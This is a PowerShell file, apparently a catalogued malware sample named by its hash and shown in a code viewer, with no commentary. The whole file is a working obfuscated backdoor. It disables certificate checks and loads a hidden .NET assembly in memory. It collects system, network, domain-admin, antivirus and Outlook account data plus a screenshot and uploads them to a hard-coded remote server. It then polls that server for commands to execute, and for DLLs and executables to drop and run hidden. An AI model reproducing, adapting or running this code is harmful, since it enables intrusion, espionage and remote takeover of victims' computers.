/
bb64f34aa86648b2b008b811df7e641bbff7ea8789688007c3506417a1ac6cad
62 lines (62 loc) · 12.1 KB
/
bb64f34aa86648b2b008b811df7e641bbff7ea8789688007c3506417a1ac6cad
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
$F36ui = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("MjMuMjI3LjE5My40OA=="))
$Z4GoLn = New-Object IO.Compression.GzipStream([IO.MemoryStream][Convert]::FromBase64String("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"), [IO.Compression.CompressionMode]::Decompress)
$joqOfPjY = New-Object byte[](20480)
$Z4GoLn.Read($joqOfPjY, 0, 20480) | Out-Null
[System.Reflection.Assembly]::Load($joqOfPjY) | Out-Null
[QE7K9ZJvi46.QE7K9ZJvi46]::p9Dq()
iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZnVuY3Rpb24gUE1RdHkoW2ludF0kV2c5NCwgW2J5dGVbXV0kVjZWQ1MpCnsKICAgICRzZG83ZyA9ICJodHRwczovLyRGMzZ1aS8iICsgW1FFN0s5Wkp2aTQ2LlFFN0s5Wkp2aTQ2XTo6RUEyZ2txbDl5YSgkV2c5NCwgMCwgJHRydWUpCiAgICAkaHd2ODB2ID0gW1FFN0s5Wkp2aTQ2LlFFN0s5Wkp2aTQ2XTo6QlBpenJEKCRWNlZDUykKICAgIChOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50KS5VcGxvYWREYXRhKCRzZG83ZywgJGh3djgwdikKfQoKZnVuY3Rpb24ga3ZoTFpWVkh2NDAoKQp7CiAgICBpZiAoKCgoR2V0LVdtaU9iamVjdCBXaW4zMl9Db21wdXRlclN5c3RlbSkucGFydG9mZG9tYWluKSAtZXEgJEZhbHNlICkgLW9yICggLW5vdCAkRW52OlVTRVJETlNET01BSU4pKQogICAgewogICAgICAgICRIbUhDTUFqMWdwID0gIkRPTUFJTjogTk9gbmBuIgogICAgfSBlbHNlIHsgJEhtSENNQWoxZ3AgPSAiRE9NQUlOOiBZRVNgbmBuIn0KICAgICRIbUhDTUFqMWdwICs9ICJTWVNURU1JTkZPOmBuYG4iICsgKChzeXN0ZW1pbmZvKSAtam9pbiAiYG4iKQogICAgJEhtSENNQWoxZ3AgKz0gImBuYG5JUENPTkZJRzpgbmBuIiArICgoaXBjb25maWcgL2FsbCkgLWpvaW4gImBuIikKICAgICRIbUhDTUFqMWdwICs9ICJgbmBuTkVUU1RBVDpgbmBuIiArICgobmV0c3RhdCAtZikgLWpvaW4gImBuIikKICAgICRIbUhDTUFqMWdwICs9ICJgbmBuTkVUVklFVzpgbmBuIiArICgobmV0IHZpZXcpIC1qb2luICJgbiIpCiAgICAkSG1IQ01BajFncCArPSAiYG5gblRBU0tMSVNUOmBuYG4iICsgKCh0YXNrbGlzdCkgLWpvaW4gImBuIikKICAgICRIbUhDTUFqMWdwICs9ICJgbmBuV0hPQU1JOmBuYG4iICsgKCh3aG9hbWkpIC1qb2luICJgbiIpCiAgICAkSG1IQ01BajFncCArPSAiYG5gblVTRVJOQU1FOmBuYG4iICsgKChuZXQgdXNlciAkZW52OnVzZXJuYW1lIC9kb21haW4pIC1qb2luICJgbiIpCiAgICAkSG1IQ01BajFncCArPSAiYG5gbkRPTUFJTiBBRE1JTlM6YG5gbiIgKyAoKG5ldCBncm91cCAiZG9tYWluIGFkbWlucyIgL2RvbWFpbiApIC1qb2luICJgbiIpCiAgICAkSG1IQ01BajFncCArPSAiYG5gbkRFU0tUT1A6YG5gbiIgKyAoR2V0LUNoaWxkSXRlbSAoW2Vudmlyb25tZW50XTo6Z2V0Zm9sZGVycGF0aCgiZGVza3RvcCIpKSB8IE91dC1TdHJpbmcpCiAgICAkSG1IQ01BajFncCArPSAiYG5gbkFWOmBuYG4iICsgKEdldC1XbWlPYmplY3QgLU5hbWVzcGFjZSAicm9vdFxTZWN1cml0eUNlbnRlcjIiIC1RdWVyeSAiU0VMRUNUICogRlJPTSBBbnRpVmlydXNQcm9kdWN0IikuZGlzcGxheU5hbWUKICAgICRWNlZDUyA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0Qnl0ZXMoJEhtSENNQWoxZ3ApCiAgICBQTVF0eSAwICRWNlZDUwp9CgpmdW5jdGlvbiBVeDRqa0x6KFtzdHJpbmddICRwYXRoKQp7CiAgICAkSG1IQ01BajFncCA9ICIiCiAgICB0cnkgewogICAgICAgICRRUVlyUSA9IChHZXQtSXRlbVByb3BlcnR5ICRwYXRoIHwgV2hlcmUgeyRfIC1tYXRjaCAnQWNjb3VudCBOYW1lJ30pCiAgICAgICAgZm9yZWFjaCAoJG0gaW4gJFFRWXJRKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoJG0uIkFjY291bnQgTmFtZSIuR2V0VHlwZSgpLklzQXJyYXkpIHsKICAgICAgICAgICAgICAgICAgICAkbWwgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVbmljb2RlLkdldFN0cmluZygkbS4iQWNjb3VudCBOYW1lIikKICAgICAgICAgICAgICAgIH0gZWxzZSB7JG1sID0gJG0uIkFjY291bnQgTmFtZSJ9CiAgICAgICAgICAgICAgICBpZiAoJG1sIC1tYXRjaCAiQCIpIHsKICAgICAgICAgICAgICAgICAgICAkSG1IQ01BajFncCArPSAiZW1haWw6ICIgKyAkbWwgKyAiYG4iCiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2gge30KICAgICAgICB9CiAgICAgICAgJFFRWXJRID0gKEdldC1JdGVtUHJvcGVydHkgJHBhdGggfCBXaGVyZSB7JF8gLW1hdGNoICdFbWFpbCd9KQogICAgICAgIGZvcmVhY2ggKCRtIGluICRRUVlyUSkgewogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgaWYgKCRtLkVtYWlsLkdldFR5cGUoKS5Jc0FycmF5KSB7CiAgICAgICAgICAgICAgICAgICAgJG1sID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJG0uRW1haWwpCiAgICAgICAgICAgICAgICB9IGVsc2UgeyRtbCA9ICRtLkVtYWlsfQogICAgICAgICAgICAgICAgJEhtSENNQWoxZ3AgKz0gImVtYWlsOiAiICsgJG1sICsgImBuIgogICAgICAgICAgICB9IGNhdGNoIHt9CiAgICAgICAgfSAgICAgICAgCiAgICB9IGNhdGNoIHt9CiAgICAkSG1IQ01BajFncAp9CgpmdW5jdGlvbiB2QzZ6KCkKewogICAgJEhtSENNQWoxZ3AgPSAiIgogICAgJEhtSENNQWoxZ3AgKz0gVXg0amtMeiAiaGtjdTpcU29mdHdhcmVcTWljcm9zb2Z0XE9mZmljZVwxNi4wXE91dGxvb2tcUHJvZmlsZXNcKlw5Mzc1Q0ZGMDQxMzExMWQzQjg4QTAwMTA0QjJBNjY3NlwqIgogICAgJEhtSENNQWoxZ3AgKz0gVXg0amtMeiAiaGtjdTpcU29mdHdhcmVcTWljcm9zb2Z0XE9mZmljZVwxNS4wXE91dGxvb2tcUHJvZmlsZXNcKlw5Mzc1Q0ZGMDQxMzExMWQzQjg4QTAwMTA0QjJBNjY3NlwqIgogICAgJEhtSENNQWoxZ3AgKz0gVXg0amtMeiAiaGtjdTpcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3MgTlRcQ3VycmVudFZlcnNpb25cV2luZG93cyBNZXNzYWdpbmcgU3Vic3lzdGVtXFByb2ZpbGVzXE91dGxvb2tcOTM3NUNGRjA0MTMxMTFkM0I4OEEwMDEwNEIyQTY2NzZcKiIKICAgIGlmICgkSG1IQ01BajFncCAtbmUgIiIpCiAgICB7CiAgICAgICAgJFY2VkNTID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRCeXRlcygkSG1IQ01BajFncCkKICAgICAgICBQTVF0eSAxICRWNlZDUwogICAgfQp9CgpmdW5jdGlvbiBjWTB5TU9vN1UzKCkKewogICAgQWRkLVR5cGUgLUFzc2VtYmx5IFN5c3RlbS5XaW5kb3dzLkZvcm1zCiAgICAkWmU4RnBiNUtDID0gW1dpbmRvd3MuRm9ybXMuU3lzdGVtSW5mb3JtYXRpb25dOjpWaXJ0dWFsU2NyZWVuCiAgICAkUnBtdjVIQiA9IE5ldy1PYmplY3QgRHJhd2luZy5CaXRtYXAgJFplOEZwYjVLQy5XaWR0aCwgJFplOEZwYjVLQy5IZWlnaHQKICAgICRudGtrYXlBZHVvdyA9IFtEcmF3aW5nLkdyYXBoaWNzXTo6RnJvbUltYWdlKCRScG12NUhCKQogICAgJG50a2theUFkdW93LkNvcHlGcm9tU2NyZWVuKCRaZThGcGI1S0MuTG9jYXRpb24sIFtEcmF3aW5nLlBvaW50XTo6RW1wdHksICRaZThGcGI1S0MuU2l6ZSkKICAgICRudGtrYXlBZHVvdy5EaXNwb3NlKCkKICAgICRVa3pjdWFVcWdqID0gTmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtCiAgICAkbm9GTWNkQTZjS2o9NDAKICAgICRod3Y4MHZvZGVyUGFyYW1zID0gTmV3LU9iamVjdCBTeXN0ZW0uRHJhd2luZy5JbWFnaW5nLkVuY29kZXJQYXJhbWV0ZXJzCiAgICAkaHd2ODB2b2RlclBhcmFtcy5QYXJhbVswXSA9IE5ldy1PYmplY3QgRHJhd2luZy5JbWFnaW5nLkVuY29kZXJQYXJhbWV0ZXIgKFtTeXN0ZW0uRHJhd2luZy5JbWFnaW5nLkVuY29kZXJdOjpRdWFsaXR5LCAkbm9GTWNkQTZjS2opCiAgICAkT21Ed0ZwID0gW0RyYXdpbmcuSW1hZ2luZy5JbWFnZUNvZGVjSW5mb106OkdldEltYWdlRW5jb2RlcnMoKSB8IFdoZXJlLU9iamVjdCB7ICRfLkZvcm1hdERlc2NyaXB0aW9uIC1lcSAiSlBFRyIgfQogICAgJFJwbXY1SEIuc2F2ZSgkVWt6Y3VhVXFnaiwgJE9tRHdGcCwgJGh3djgwdm9kZXJQYXJhbXMpCiAgICAkUnBtdjVIQi5EaXNwb3NlKCkKICAgICRWNlZDUyA9IFtjb252ZXJ0XTo6VG9CYXNlNjRTdHJpbmcoJFVremN1YVVxZ2ouVG9BcnJheSgpKQogICAgJFY2VkNTID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6QVNDSUkuR2V0Qnl0ZXMoJFY2VkNTKQogICAgUE1RdHkgMiAkVjZWQ1MKfQoKa3ZoTFpWVkh2NDAKdkM2egpjWTB5TU9vN1Uz")))
while ($true)
{
$zYQFR = New-Object System.Net.WebClient
$BrHFu11Nui = "https://$F36ui/" + [QE7K9ZJvi46.QE7K9ZJvi46]::EA2gkql9ya(0, 0, $False)
$ChAH = $zYQFR.DownloadData($BrHFu11Nui)
if ($ChAH.Length -ge 48)
{
$fH4GXcce = [BitConverter]::ToUInt32($ChAH, 0)
$B8r2E = [BitConverter]::ToUInt32($ChAH, 4)
$cEvbjFi = [QE7K9ZJvi46.QE7K9ZJvi46]::E3ItPF9Hdh2($ChAH[8..$ChAH.Length])
$uPwBq7 = 100
$vSyV05p = $False
if ($cEvbjFi -ne $null)
{
if ($fH4GXcce -eq 0)
{
$uPwBq7 = [QE7K9ZJvi46.QE7K9ZJvi46]::Gtjy7ah($cEvbjFi)
}
elseif ($fH4GXcce -eq 1)
{
try {
$xPo0Wvp = iex ([System.Text.Encoding]::UTF8.GetString($cEvbjFi)) -ErrorAction Stop | Format-Table -wrap | Out-String
} catch {
$xPo0Wvp = $_.Exception
}
$xPo0Wvp = [System.Text.Encoding]::UTF8.GetBytes($xPo0Wvp)
PMQty 3 $xPo0Wvp
$uPwBq7 = 0
}
elseif ($fH4GXcce -eq 2)
{
$nv8dIZ98mi = Get-Random
[System.IO.File]::WriteAllBytes("$env:TEMP\$nv8dIZ98mi.dll", $cEvbjFi)
$uPwBq7 = [QE7K9ZJvi46.QE7K9ZJvi46]::UrtK($nv8dIZ98mi)
}
elseif ($fH4GXcce -eq 3)
{
$nv8dIZ98mi = Get-Random
$fCIzF008X4H = "$env:TEMP\$nv8dIZ98mi.exe"
[System.IO.File]::WriteAllBytes($fCIzF008X4H, $cEvbjFi)
$uPwBq7 = 0
try {
Start-Process $fCIzF008X4H -windowstyle hidden -ErrorAction Stop
Start-Sleep -s 10
Remove-Item $fCIzF008X4H
} catch { $uPwBq7 = 1}
}
elseif ($fH4GXcce -eq 99) { $uPwBq7 = 0; $vSyV05p = $true}
}
$zYQFR.DownloadData("https://$F36ui/" + [QE7K9ZJvi46.QE7K9ZJvi46]::EA2gkql9ya($B8r2E, $uPwBq7, $False)) | Out-Null
}
if ($vSyV05p) { Exit }
Start-Sleep -s (Get-Random -Input @(200..260))
}